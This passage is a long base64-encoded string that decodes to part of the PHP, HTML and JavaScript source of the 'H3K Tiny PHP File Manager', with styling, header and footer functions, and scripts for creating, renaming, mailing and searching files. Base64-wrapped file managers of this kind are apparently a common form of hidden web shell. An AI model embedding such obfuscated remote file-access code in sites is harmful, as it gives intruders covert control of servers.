zY2V9LnBocC1maWxlLXRyZWUgLmNsb3NlZHtmb250LXN0eWxlOm5vcm1hbH0jZmlsZS10cmVlLXZpZXc6Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjEwcHg7YmFja2dyb3VuZC1jb2xvcjojRjVGNUY1fSNmaWxlLXRyZWUtdmlldzo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7Ym9yZGVyLXJhZGl1czoxMHB4O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMSk7Ym9yZGVyOjFweCBzb2xpZCAjY2NjfSNmaWxlLXRyZWUtdmlldzo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7Ym9yZGVyLXJhZGl1czoxMHB4O2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KGxlZnQsI2ZmZiwjZTRlNGU0KTtib3JkZXI6MXB4IHNvbGlkICNhYWF9I2ZpbGUtdHJlZS12aWV3Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYjpob3ZlcntiYWNrZ3JvdW5kOiNmZmZ9I2ZpbGUtdHJlZS12aWV3Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYjphY3RpdmV7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQobGVmdCwjMjJBREQ0LCMxRTk4QkEpfVxyXG48XC9zdHlsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk+XHJcbjxkaXYgaWQ9XCJ3cmFwcGVyXCI+XHJcblxyXG48P3BocFxyXG59XHJcblxyXG5cLyoqXHJcbiAqIFNob3cgcGFnZSBmb290ZXIgaW4gTG9naW4gRm9ybVxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX3Nob3dfZm9vdGVyX2xvZ2luKClcclxue1xyXG4gICAgPz5cclxuPFwvZGl2PlxyXG48XC9ib2R5PlxyXG48XC9odG1sPlxyXG48P3BocFxyXG59XHJcblxyXG5cLyoqXHJcbiAqIFNob3cgcGFnZSBoZWFkZXJcclxuICpcL1xyXG5mdW5jdGlvbiBmbV9zaG93X2hlYWRlcigpXHJcbntcclxuICAgICRzcHJpdGVzX3ZlciA9ICcyMDE2MDMxNSc7XHJcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XHJcbiAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcclxuICAgIGhlYWRlcihcIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wXCIpO1xyXG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcclxuXHJcbiAgICBnbG9iYWwgJGxhbmc7XHJcbiAgICA/PlxyXG48IURPQ1RZUEUgaHRtbD5cclxuPGh0bWw+XHJcbjxoZWFkPlxyXG48bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cclxuPHRpdGxlPkgzSyB8IEZpbGUgTWFuYWdlcjxcL3RpdGxlPlxyXG48bWV0YSBuYW1lPVwiRGVzY3JpcHRpb25cIiBDT05URU5UPVwiQXV0aG9yOiBDQ1AgUHJvZ3JhbW1lcnMsIEgzSyBUaW55IFBIUCBGaWxlIE1hbmFnZXJcIj5cclxuPGxpbmsgcmVsPVwiaWNvblwiIGhyZWY9XCI8P3BocCBlY2hvIEZNX1NFTEZfVVJMID8+P2ltZz1mYXZpY29uXCIgdHlwZT1cImltYWdlXC9wbmdcIj5cclxuPGxpbmsgcmVsPVwic2hvcnRjdXQgaWNvblwiIGhyZWY9XCI8P3BocCBlY2hvIEZNX1NFTEZfVVJMID8+P2ltZz1mYXZpY29uXCIgdHlwZT1cImltYWdlXC9wbmdcIj5cclxuPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2ZvbnQtYXdlc29tZVwvNC43LjBcL2Nzc1wvZm9udC1hd2Vzb21lLmNzc1wiPlxyXG48P3BocCBpZiAoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkgJiYgRk1fVVNFX0hJR0hMSUdIVEpTKTogPz5cclxuPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvOS4yLjBcL3N0eWxlc1wvPD9waHAgZWNobyBGTV9ISUdITElHSFRKU19TVFlMRSA/Pi5taW4uY3NzXCI+XHJcbjw/cGhwIGVuZGlmOyA/PlxyXG48c3R5bGU+XHJcbmEgaW1nLGltZ3tib3JkZXI6bm9uZX0uZmlsZW5hbWUsdGQsdGh7d2hpdGUtc3BhY2U6bm93cmFwfS5jbG9zZSwuY2xvc2U6Zm9jdXMsLmNsb3NlOmhvdmVyLC5waHAtZmlsZS10cmVlIGEsYXt0ZXh0LWRlY29yYXRpb246bm9uZX1hLGJvZHksY29kZSxkaXYsZW0sZm9ybSxodG1sLGltZyxsYWJlbCxsaSxvbCxwLHByZSxzbWFsbCxzcGFuLHN0cm9uZyx0YWJsZSx0ZCx0aCx0cix1bHttYXJnaW46MDtwYWRkaW5nOjA7dmVydGljYWwtYWxpZ246YmFzZWxpbmU7b3V0bGluZTowO2ZvbnQtc2l6ZToxMDAlO2JhY2tncm91bmQ6MCAwO2JvcmRlcjpub25lO3RleHQtZGVjb3JhdGlvbjpub25lfXAsdGFibGUsdWx7bWFyZ2luLWJvdHRvbToxMHB4fWh0bWx7b3ZlcmZsb3cteTpzY3JvbGx9Ym9keXtwYWRkaW5nOjA7Zm9udDoxM3B4XC8xNnB4IFRhaG9tYSxBcmlhbCxzYW5zLXNlcmlmO2NvbG9yOiMyMjI7YmFja2dyb3VuZDojRjdGN0Y3O21hcmdpbjo1MHB4IDMwcHggMH1idXR0b24saW5wdXQsc2VsZWN0LHRleHRhcmVhe2ZvbnQtc2l6ZTppbmhlcml0O2ZvbnQtZmFtaWx5OmluaGVyaXR9YXtjb2xvcjojMjk2ZWEzfWE6aG92ZXJ7Y29sb3I6I2IwMH1pbWd7dmVydGljYWwtYWxpZ246bWlkZGxlfXNwYW57Y29sb3I6Izc3N31zbWFsbHtmb250LXNpemU6MTFweDtjb2xvcjojOTk5fXVse2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbi1sZWZ0OjB9dWwgbGl7cGFkZGluZzozcHggMH10YWJsZXtib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7Ym9yZGVyLXNwYWNpbmc6MDt3aWR0aDoxMDAlfS5maWxlLXRyZWUtdmlldysjbWFpbi10YWJsZXt3aWR0aDo3NSUhaW1wb3J0YW50O2Zsb2F0OmxlZnR9dGQsdGh7cGFkZGluZzo0cHggN3B4O3RleHQtYWxpZ246bGVmdDt2ZXJ0aWNhbC1hbGlnbjp0b3A7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2ZmZn10ZC5ncmF5LHRoe2JhY2tncm91bmQtY29sb3I6I2VlZX10ZC5ncmF5IHNwYW57Y29sb3I6IzIyMn10cjpob3ZlciB0ZHtiYWNrZ3JvdW5kLWNvbG9yOiNmNWY1ZjV9dHI6aG92ZXIgdGQuZ3JheXtiYWNrZ3JvdW5kLWNvbG9yOiNlZWV9LnRhYmxle3dpZHRoOjEwMCU7bWF4LXdpZHRoOjEwMCU7bWFyZ2luLWJvdHRvbToxcmVtfS50YWJsZSB0ZCwudGFibGUgdGh7cGFkZGluZzouNTVyZW07dmVydGljYWwtYWxpZ246dG9wO2JvcmRlci10b3A6MXB4IHNvbGlkICNkZGR9LnRhYmxlIHRoZWFkIHRoe3ZlcnRpY2FsLWFsaWduOmJvdHRvbTtib3JkZXItYm90dG9tOjJweCBzb2xpZCAjZWNlZWVmfS50YWJsZSB0Ym9keSt0Ym9keXtib3JkZXItdG9wOjJweCBzb2xpZCAjZWNlZWVmfS50YWJsZSAudGFibGV7YmFja2dyb3VuZC1jb2xvcjojZmZmfWNvZGUscHJle2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbToxMHB4O2ZvbnQ6MTNweFwvMTZweCBDb25zb2xhcywnQ291cmllciBOZXcnLENvdXJpZXIsbW9ub3NwYWNlO2JvcmRlcjoxcHggZGFzaGVkICNjY2M7cGFkZGluZzo1cHg7b3ZlcmZsb3c6YXV0b30uaGlkZGVuLC5tb2RhbHtkaXNwbGF5Om5vbmV9LmJ0biwuY2xvc2V7Zm9udC13ZWlnaHQ6NzAwfXByZS53aXRoLWhsanN7cGFkZGluZzowfXByZS53aXRoLWhsanMgY29kZXttYXJnaW46MDtib3JkZXI6MDtvdmVyZmxvdzp2aXNpYmxlfWNvZGUubWF4aGVpZ2h0LHByZS5tYXhoZWlnaHR7bWF4LWhlaWdodDo1MTJweH1pbnB1dFt0eXBlPWNoZWNrYm94XXttYXJnaW46MDtwYWRkaW5nOjB9Lm1lc3NhZ2UsLnBhdGh7cGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZ9LmZhLmZhLWNhcmV0LXJpZ2h0e2ZvbnQtc2l6ZToxLjJlbTttYXJnaW46MCA0cHg7dmVydGljYWwtYWxpZ246bWlkZGxlO2NvbG9yOiNlY2VjZWN9LmZhLmZhLWhvbWV7Zm9udC1zaXplOjEuMmVtO3ZlcnRpY2FsLWFsaWduOmJvdHRvbX0jd3JhcHBlcnttaW4td2lkdGg6NDAwcHg7bWFyZ2luOjAgYXV0b30ucGF0aHttYXJnaW4tYm90dG9tOjEwcHh9LnJpZ2h0e3RleHQtYWxpZ246cmlnaHR9LmNlbnRlciwuY2xvc2UsLmxvZ2luLWZvcm17dGV4dC1hbGlnbjpjZW50ZXJ9LmZsb2F0LXJpZ2h0e2Zsb2F0OnJpZ2h0fS5mbG9hdC1sZWZ0e2Zsb2F0OmxlZnR9Lm1lc3NhZ2Uub2t7Ym9yZGVyLWNvbG9yOmdyZWVuO2NvbG9yOmdyZWVufS5tZXNzYWdlLmVycm9ye2JvcmRlci1jb2xvcjpyZWQ7Y29sb3I6cmVkfS5tZXNzYWdlLmFsZXJ0e2JvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlfS5idG57Ym9yZGVyOjA7YmFja2dyb3VuZDowIDA7cGFkZGluZzowO21hcmdpbjowO2NvbG9yOiMyOTZlYTM7Y3Vyc29yOnBvaW50ZXJ9LmJ0bjpob3Zlcntjb2xvcjojYjAwfS5wcmV2aWV3LWltZ3ttYXgtd2lkdGg6MTAwJTtiYWNrZ3JvdW5kOnVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyl9LmlubGluZS1hY3Rpb25zPmE+aXtmb250LXNpemU6MWVtO21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kOiMzNzg1YzE7Y29sb3I6I2ZmZjtwYWRkaW5nOjNweDtib3JkZXItcmFkaXVzOjNweH0ucHJldmlldy12aWRlb3twb3NpdGlvbjpyZWxhdGl2ZTttYXgtd2lkdGg6MTAwJTtoZWlnaHQ6MDtwYWRkaW5nLWJvdHRvbTo2Mi41JTttYXJnaW4tYm90dG9tOjEwcHh9LnByZXZpZXctdmlkZW8gdmlkZW97cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtsZWZ0OjA7dG9wOjA7YmFja2dyb3VuZDojMDAwfS5jb21wYWN0LXRhYmxle2JvcmRlcjowO3dpZHRoOmF1dG99LmNvbXBhY3QtdGFibGUgdGQsLmNvbXBhY3QtdGFibGUgdGh7d2lkdGg6MTAwcHg7Ym9yZGVyOjA7dGV4dC1hbGlnbjpjZW50ZXJ9LmNvbXBhY3QtdGFibGUgdHI6aG92ZXIgdGR7YmFja2dyb3VuZC1jb2xvcjojZmZmfS5maWxlbmFtZXttYXgtd2lkdGg6NDIwcHg7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXN9LmJyZWFrLXdvcmR7d29yZC13cmFwOmJyZWFrLXdvcmQ7bWFyZ2luLWxlZnQ6MzBweH0uYnJlYWstd29yZC5mbG9hdC1sZWZ0IGF7Y29sb3I6IzdkN2Q3ZH0uYnJlYWstd29yZCsuZmxvYXQtcmlnaHR7cGFkZGluZy1yaWdodDozMHB4O3Bvc2l0aW9uOnJlbGF0aXZlfS5icmVhay13b3JkKy5mbG9hdC1yaWdodD5he2NvbG9yOiM3ZDdkN2Q7Zm9udC1zaXplOjEuMmVtO21hcmdpbi1yaWdodDo0cHh9Lm1vZGFse3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6MTtwYWRkaW5nLXRvcDoxMDBweDtsZWZ0OjA7dG9wOjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtvdmVyZmxvdzphdXRvO2JhY2tncm91bmQtY29sb3I6IzAwMDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsLjQpfSNlZGl0b3IsLmVkaXQtZmlsZS1hY3Rpb25ze3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjMwcHh9Lm1vZGFsLWNvbnRlbnR7YmFja2dyb3VuZC1jb2xvcjojZmVmZWZlO21hcmdpbjphdXRvO3BhZGRpbmc6MjBweDtib3JkZXI6MXB4IHNvbGlkICM4ODg7d2lkdGg6ODAlfS5jbG9zZTpmb2N1cywuY2xvc2U6aG92ZXJ7Y29sb3I6IzAwMDtjdXJzb3I6cG9pbnRlcn0jZWRpdG9ye3RvcDo1MHB4O2JvdHRvbTo1cHg7bGVmdDozMHB4fS5lZGl0LWZpbGUtYWN0aW9uc3t0b3A6MDtiYWNrZ3JvdW5kOiNmZmY7bWFyZ2luLXRvcDo1cHh9LmVkaXQtZmlsZS1hY3Rpb25zPmEsLmVkaXQtZmlsZS1hY3Rpb25zPmJ1dHRvbntiYWNrZ3JvdW5kOiNmZmY7cGFkZGluZzo1cHggMTVweDtjdXJzb3I6cG9pbnRlcjtjb2xvcjojMjk2ZWEzO2JvcmRlcjoxcHggc29saWQgIzI5NmVhM30uZ3JvdXAtYnRue2JhY2tncm91bmQ6I2ZmZjtwYWRkaW5nOjJweCA2cHg7Ym9yZGVyOjFweCBzb2xpZDtjdXJzb3I6cG9pbnRlcjtjb2xvcjojMjk2ZWEzfS5tYWluLW5hdntwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7cGFkZGluZzoxMHB4IDMwcHggMTBweCAxcHg7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kOiNmZmY7Y29sb3I6IzAwMDtib3JkZXI6MDtib3gtc2hhZG93OjAgNHB4IDVweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCAxMHB4IDAgcmdiYSgwLDAsMCwuMTIpLDAgMnB4IDRweCAtMXB4IHJnYmEoMCwwLDAsLjIpfS5sb2dpbi1mb3Jte3dpZHRoOjMyMHB4O21hcmdpbjowIGF1dG87Ym94LXNoYWRvdzowIDhweCAxMHB4IDFweCByZ2JhKDAsMCwwLC4xNCksMCAzcHggMTRweCAycHggcmdiYSgwLDAsMCwuMTIpLDAgNXB4IDVweCAtM3B4IHJnYmEoMCwwLDAsLjIpfS5sb2dpbi1mb3JtIGxhYmVsLC5wYXRoLmxvZ2luLWZvcm0gaW5wdXR7cGFkZGluZzo4cHg7bWFyZ2luOjEwcHh9LmZvb3Rlci1saW5rc3tiYWNrZ3JvdW5kOjAgMDtib3JkZXI6MDtjbGVhcjpib3RofXNlbGVjdFtuYW1lPWxhbmdde2JvcmRlcjpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZWZ0Oi0zMCU7dG9wOjEycHg7Y29sb3I6c2lsdmVyfWlucHV0W3R5cGU9c2VhcmNoXXtoZWlnaHQ6MzBweDttYXJnaW46NXB4O3dpZHRoOjgwJTtib3JkZXI6MXB4IHNvbGlkICNjY2N9LnBhdGgubG9naW4tZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF17YmFja2dyb3VuZC1jb2xvcjojNDI4NWY0O2NvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZDtib3JkZXItcmFkaXVzOjJweDtmb250LXdlaWdodDo3MDA7Y3Vyc29yOnBvaW50ZXJ9Lm1vZGFsRGlhbG9ne3Bvc2l0aW9uOmZpeGVkO2ZvbnQtZmFtaWx5OkFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmO3RvcDowO3JpZ2h0OjA7Ym90dG9tOjA7bGVmdDowO2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuOCk7ei1pbmRleDo5OTk5OTtvcGFjaXR5OjA7LXdlYmtpdC10cmFuc2l0aW9uOm9wYWNpdHkgLjRzIGVhc2UtaW47LW1vei10cmFuc2l0aW9uOm9wYWNpdHkgLjRzIGVhc2UtaW47dHJhbnNpdGlvbjpvcGFjaXR5IC40cyBlYXNlLWluO3BvaW50ZXItZXZlbnRzOm5vbmV9Lm1vZGFsRGlhbG9nOnRhcmdldHtvcGFjaXR5OjE7cG9pbnRlci1ldmVudHM6YXV0b30ubW9kYWxEaWFsb2c+Lm1vZGVsLXdyYXBwZXJ7bWF4LXdpZHRoOjQwMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbjoxMCUgYXV0bztwYWRkaW5nOjE1cHg7Ym9yZGVyLXJhZGl1czoycHg7YmFja2dyb3VuZDojZmZmfS5jbG9zZXtmbG9hdDpyaWdodDtiYWNrZ3JvdW5kOiNmZmY7Y29sb3I6IzAwMDtsaW5lLWhlaWdodDoyNXB4O3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7dG9wOjA7d2lkdGg6MjRweDtib3JkZXItcmFkaXVzOjAgNXB4IDAgMDtmb250LXNpemU6MThweH0uY2xvc2U6aG92ZXJ7YmFja2dyb3VuZDojZTRlNGU0fS5tb2RhbERpYWxvZyBwe2xpbmUtaGVpZ2h0OjMwcHh9ZGl2I3NlYXJjaHJlc3VsdFdyYXBwZXJ7bWF4LWhlaWdodDozMjBweDtvdmVyZmxvdzphdXRvfWRpdiNzZWFyY2hyZXN1bHRXcmFwcGVyIGxpe21hcmdpbjo4cHggMDtsaXN0LXN0eWxlOm5vbmV9bGkuZmlsZTpiZWZvcmUsbGkuZm9sZGVyOmJlZm9yZXtmb250Om5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7Y29udGVudDpcIlxcZjAxNlwiO21hcmdpbi1yaWdodDo1cHh9bGkuZm9sZGVyOmJlZm9yZXtjb250ZW50OlwiXFxmMTE0XCJ9aS5mYS5mYS1mb2xkZXItb3tjb2xvcjojZWVhZjRifWkuZmEuZmEtcGljdHVyZS1ve2NvbG9yOiMyNmI5OWF9aS5mYS5mYS1maWxlLWFyY2hpdmUtb3tjb2xvcjojZGE3ZDdkfS5mb290ZXItbGlua3MgaS5mYS5mYS1maWxlLWFyY2hpdmUtb3tjb2xvcjojMjk2ZWEzfWkuZmEuZmEtY3NzM3tjb2xvcjojZjM2ZmEwfWkuZmEuZmEtZmlsZS1jb2RlLW97Y29sb3I6I2VjNjYzMH1pLmZhLmZhLWNvZGV7Y29sb3I6I2NjNGI0Y31pLmZhLmZhLWZpbGUtdGV4dC1ve2NvbG9yOiMwMDk2ZTZ9aS5mYS5mYS1odG1sNXtjb2xvcjojZDc1ZTcyfWkuZmEuZmEtZmlsZS1leGNlbC1ve2NvbG9yOiMwOWM1NWR9aS5mYS5mYS1maWxlLXBvd2VycG9pbnQtb3tjb2xvcjojZjY3MTJlfS5maWxlLXRyZWUtdmlld3t3aWR0aDoyNCU7ZmxvYXQ6bGVmdDtvdmVyZmxvdzphdXRvO2JvcmRlcjoxcHggc29saWQgI2RkZDtib3JkZXItcmlnaHQ6MDtiYWNrZ3JvdW5kOiNmZmZ9LmZpbGUtdHJlZS12aWV3IC50cmVlLXRpdGxle2JhY2tncm91bmQ6I2VlZTtwYWRkaW5nOjlweCAycHggOXB4IDEwcHg7Zm9udC13ZWlnaHQ6NzAwfS5maWxlLXRyZWUtdmlldyB1bHttYXJnaW4tbGVmdDoxNXB4O21hcmdpbi1ib3R0b206MH0uZmlsZS10cmVlLXZpZXcgaXtwYWRkaW5nLXJpZ2h0OjNweH0ucGhwLWZpbGUtdHJlZXtmb250LXNpemU6MTAwJTtsZXR0ZXItc3BhY2luZzoxcHg7bGluZS1oZWlnaHQ6MS41O21hcmdpbi1sZWZ0OjVweCFpbXBvcnRhbnR9LnBocC1maWxlLXRyZWUgYXtjb2xvcjojMjk2ZWEzfS5waHAtZmlsZS10cmVlIEE6aG92ZXJ7Y29sb3I6I2IwMH0ucGhwLWZpbGUtdHJlZSAub3Blbntmb250LXN0eWxlOml0YWxpYztjb2xvcjojMjE4M2NlfS5waHAtZmlsZS10cmVlIC5jbG9zZWR7Zm9udC1zdHlsZTpub3JtYWx9I2ZpbGUtdHJlZS12aWV3Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMHB4O2JhY2tncm91bmQtY29sb3I6I0Y1RjVGNX0jZmlsZS10cmVlLXZpZXc6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNre2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjEpO2JvcmRlcjoxcHggc29saWQgI2NjY30jZmlsZS10cmVlLXZpZXc6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudChsZWZ0LCNmZmYsI2U0ZTRlNCk7Ym9yZGVyOjFweCBzb2xpZCAjYWFhfSNmaWxlLXRyZWUtdmlldzo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6aG92ZXJ7YmFja2dyb3VuZDojZmZmfSNmaWxlLXRyZWUtdmlldzo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6YWN0aXZle2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KGxlZnQsIzIyQURENCwjMUU5OEJBKX1cclxuPFwvc3R5bGU+XHJcbjxcL2hlYWQ+XHJcbjxib2R5PlxyXG48ZGl2IGlkPVwid3JhcHBlclwiPlxyXG4gIDxkaXYgaWQ9XCJjcmVhdGVOZXdJdGVtXCIgY2xhc3M9XCJtb2RhbERpYWxvZ1wiPjxkaXYgY2xhc3M9XCJtb2RlbC13cmFwcGVyXCI+PGEgaHJlZj1cIiNjbG9zZVwiIHRpdGxlPVwiQ2xvc2VcIiBjbGFzcz1cImNsb3NlXCI+WDxcL2E+PGgyPkNyZWF0ZSBOZXcgSXRlbTxcL2gyPjxwPlxyXG4gICAgICAgIDxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+SXRlbSBUeXBlICZuYnNwOyA6IDxcL2xhYmVsPjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwibmV3ZmlsZVwiIGlkPVwibmV3ZmlsZVwiIHZhbHVlPVwiZmlsZVwiPkZpbGUgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmb2xkZXJcIiBjaGVja2VkPiBGb2xkZXI8YnI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+SXRlbSBOYW1lIDogPFwvbGFiZWw+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld2ZpbGVuYW1lXCIgaWQ9XCJuZXdmaWxlbmFtZVwiIHZhbHVlPVwiXCI+PGJyPlxyXG4gICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIGNsYXNzPVwiZ3JvdXAtYnRuXCIgdmFsdWU9XCJDcmVhdGUgTm93XCIgb25jbGljaz1cIm5ld2ZvbGRlcignPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PFwvcD48XC9kaXY+PFwvZGl2PlxyXG4gICAgPGRpdiBpZD1cInNlYXJjaFJlc3VsdFwiIGNsYXNzPVwibW9kYWxEaWFsb2dcIj48ZGl2IGNsYXNzPVwibW9kZWwtd3JhcHBlclwiPjxhIGhyZWY9XCIjY2xvc2VcIiB0aXRsZT1cIkNsb3NlXCIgY2xhc3M9XCJjbG9zZVwiPlg8XC9hPlxyXG4gICAgPGlucHV0IHR5cGU9XCJzZWFyY2hcIiBuYW1lPVwic2VhcmNoXCIgdmFsdWU9XCJcIiBwbGFjZWhvbGRlcj1cIkZpbmQgYSBpdGVtIGluIGN1cnJlbnQgZm9sZGVyLi4uXCI+XHJcbiAgICA8aDI+U2VhcmNoIFJlc3VsdHM8XC9oMj5cclxuICAgIDxkaXYgaWQ9XCJzZWFyY2hyZXN1bHRXcmFwcGVyXCI+PFwvZGl2PlxyXG4gICAgPFwvZGl2PjxcL2Rpdj5cclxuPD9waHBcclxufVxyXG5cclxuXC8qKlxyXG4gKiBTaG93IHBhZ2UgZm9vdGVyXHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fc2hvd19mb290ZXIoKVxyXG57XHJcbiAgICA/PlxyXG48XC9kaXY+XHJcbjxzY3JpcHQ+XHJcbmZ1bmN0aW9uIG5ld2ZvbGRlcihlKXt2YXIgdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChcIm5ld2ZpbGVuYW1lXCIpLnZhbHVlLG49ZG9jdW1lbnQucXVlcnlTZWxlY3RvcignaW5wdXRbbmFtZT1cIm5ld2ZpbGVcIl06Y2hlY2tlZCcpLnZhbHVlO251bGwhPT10JiZcIlwiIT09dCYmbiYmKHdpbmRvdy5sb2NhdGlvbi5oYXNoPVwiI1wiLHdpbmRvdy5sb2NhdGlvbi5zZWFyY2g9XCJwPVwiK2VuY29kZVVSSUNvbXBvbmVudChlKStcIiZuZXc9XCIrZW5jb2RlVVJJQ29tcG9uZW50KHQpK1wiJnR5cGU9XCIrZW5jb2RlVVJJQ29tcG9uZW50KG4pKX1mdW5jdGlvbiByZW5hbWUoZSx0KXt2YXIgbj1wcm9tcHQoXCJOZXcgbmFtZVwiLHQpO251bGwhPT1uJiZcIlwiIT09biYmbiE9dCYmKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2g9XCJwPVwiK2VuY29kZVVSSUNvbXBvbmVudChlKStcIiZyZW49XCIrZW5jb2RlVVJJQ29tcG9uZW50KHQpK1wiJnRvPVwiK2VuY29kZVVSSUNvbXBvbmVudChuKSl9ZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSx0KXtmb3IodmFyIG49ZS5sZW5ndGgtMTtuPj0wO24tLSllW25dLmNoZWNrZWQ9XCJib29sZWFuXCI9PXR5cGVvZiB0P3Q6IWVbbl0uY2hlY2tlZH1mdW5jdGlvbiBnZXRfY2hlY2tib3hlcygpe2Zvcih2YXIgZT1kb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSx0PVtdLG49ZS5sZW5ndGgtMTtuPj0wO24tLSkoZVtuXS50eXBlPVwiY2hlY2tib3hcIikmJnQucHVzaChlW25dKTtyZXR1cm4gdH1mdW5jdGlvbiBzZWxlY3RfYWxsKCl7Y2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwhMCl9ZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCl7Y2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwhMSl9ZnVuY3Rpb24gaW52ZXJ0X2FsbCgpe2NoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpfWZ1bmN0aW9uIG1haWx0byhlLHQpe3ZhciBuPW5ldyBYTUxIdHRwUmVxdWVzdCxhPVwicGF0aD1cIitlK1wiJmZpbGU9XCIrdCtcIiZ0eXBlPW1haWwmYWpheD10cnVlXCI7bi5vcGVuKFwiUE9TVFwiLFwiXCIsITApLG4uc2V0UmVxdWVzdEhlYWRlcihcIkNvbnRlbnQtdHlwZVwiLFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSxuLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PW4ucmVhZHlTdGF0ZSYmMjAwPT1uLnN0YXR1cyYmYWxlcnQobi5yZXNwb25zZVRleHQpfSxuLnNlbmQoYSl9ZnVuY3Rpb24gc2hvd1NlYXJjaChlKXt2YXIgdD1uZXcgWE1MSHR0cFJlcXVlc3Qsbj1cInBhdGg9XCIrZStcIiZ0eXBlPXNlYXJjaCZhamF4PXRydWVcIjt0Lm9wZW4oXCJQT1NUXCIsXCJcIiwhMCksdC5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsXCJhcHBsaWNhdGlvblwveC13d3ctZm9ybS11cmxlbmNvZGVkXCIpLHQub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7ND09dC5yZWFkeVN0YXRlJiYyMDA9PXQuc